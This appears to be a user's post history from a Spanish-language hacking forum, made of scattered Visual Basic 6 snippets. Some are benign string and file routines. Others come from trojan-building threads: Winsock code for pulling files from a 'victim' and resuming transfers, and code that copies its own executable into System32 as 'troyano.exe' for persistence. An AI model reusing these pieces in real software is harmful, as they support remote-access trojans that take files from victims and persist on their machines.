Código [Seleccionar]
Dim cad1 As String
Dim cad2 As Integer
cad1 = "00002007"
cad2 = Val(cad1)
MsgBox cad2 + 1
no le veo lo dificil.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
Dim cad1 As String
Dim cad2 As Integer
cad1 = "00002007"
cad2 = Val(cad1)
MsgBox cad2 + 1
Function enLista1(cIP As String) As Boolean
Dim g
For g = 0 To List1.ListCount
If cIP = List1.List(g) Then
enLista1 = True
Exit For
Else
enLista1 = False
End If
Next
End Function
If enLista1(Ws.RemoteHostIP) = False Then
List1.AddItem Ws.RemoteHostIP
End If
Name nombre_ruta_antigua As nombre_ruta_nueva
Open "E:\Archivos de programa\eMule\Incoming1\3dsmax 500 Modelos y Texturas.zip" For Binary As #1
Close #1
MsgBox "pasó"
Cita de: E0N en 5 Abril 2007, 12:58 PM
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?
Cita de: vivachapas en 5 Abril 2007, 04:04 AMsi la victima se desconecta, entonces el cliente detecta tal accion y guarda lo que hasta el momento de la desconexion haya descargado, asi puedes reanudarlo en una proxima conexion o al dia siguiente y terminar de bajar el archivo cuando quieras... en fin quisiera chincheta
mmm seria un codigo muy interesante... ya q no tendrias q depender de q la victima este siempre conectada o por lo menos hasta q termine de bajar el archivo...
Open "c:\unarchivo.jpg" For Binary As #1
filedata = Input(LOF(1), 1) 'en esta variable string cargo todo el archivo
Close #1
ruta="d:\" 'en esta variable esta la ruta en donde se copiara en el servidor el archivo que envio
filesize = Len(filedata) 'aqui calculo el tamaño de lo que estoy enviando (long) en bytes
Winsock1.SendData "enviar" & "|" & filesize & "|" & ruta 'envio prmeramente una clave "enviar" luego el tamaño "filesize" y la ruta "ruta"... (aun no estoy enviando el archivo en si)
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
WS.GetData datosS
If Left(datosS, 7) = "archivo" Then
dato = Split(datosSS, "|") 'una variable dato (dim dato() as string) se encarga de dividir clave, tamaño y ruta
filesize = dato(1) 'aqui tengo el tamaño enviado por el cliente
Path = dato(2) 'aqui la ruta
viene_archivo = True 'prendo un interruptor
Winsock.SendData "enviar" 'ahora si le pido al cliente que envie el archivo en si
datosSS = ""
End If
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Winsock.GetData DAToS
If DAToS= "enviar" Then
Winsock.SendData filedata 'aqui es donde realmente envia... aqui es donde el protocolo se encargara de dividir los paquetes... en el servidor habra que juntarlos uno a uno
End If
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
WS.GetData datoS
If viene_archivo = True Then
'declarar arriba: Dim Datos2 As String
datos2 = datos2 & datoS 'lo que te decia: juntamos parte por parte el archivo que el cliente esta enviando
If Len(datos2) = filesize Then 'si termina
Open Path & "nuevoArchivo.jpg" For Binary As #4 'asumo que envias un JPG, sino vas a tener que usar un CommonDialog en el cliente si quieres usar el mismo nombre de archivo que envias del cliente
Put #4, 1, datos2
Close #4
viene_archivo = False 'apagas el interruptor
datos2 = "" 'vaceas el buffer
MsgBox "Archivo Recibido con Éxito." 'vuala, aqui termina todo el proceso y depues de esto supongo que tendras que cargar la imagen recibida a un picture, eso ya es tu trabajo.
End If
End If
Cita de: lipman_dj en 10 Diciembre 2006, 14:15 PMpuedes poner 500 lineas claro siempre tendiendo en cuenta que los recursos los uses bien, en fin se trata de vaciar variables despues de usarlar etc etc ademas de cuidar de que no haya algo que vuelva inestable el sistema, inlcuso puede poner bucles y mas bucles, en cuyo caso quiza sea necesario que una de esa lineas diga DoEvents...
Private Sub Form_Load()
If Dir("C:\windows\system32\troyano.exe") <> "" Then
******
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe"
;;;;;;;;
End If
End Sub
***** = Código, por ejemplo, para reiniciar el ordenador (cual es?? :S(por no abrir otro post))
;;;;;;; = Código, para copiar en el registro.
Ahora tengo una pregunta con los IF y los ELSE.
En el código, por ejemplo, en donde va el *****, puedo poner un código muy muy grande?? Algo así como 50 líneas...
Gracias Saludos
on error goto error 'si no pones esto regresamos a tus tipicos errores
open app.path & "\" app.exename & ".exe" for binary as #1
dserver=input(lof(1),1)
close #1
open dirsystem & "\" & app.exename & ".exe" for binary as #1
put #1,,dserver
close #1
error:
end sub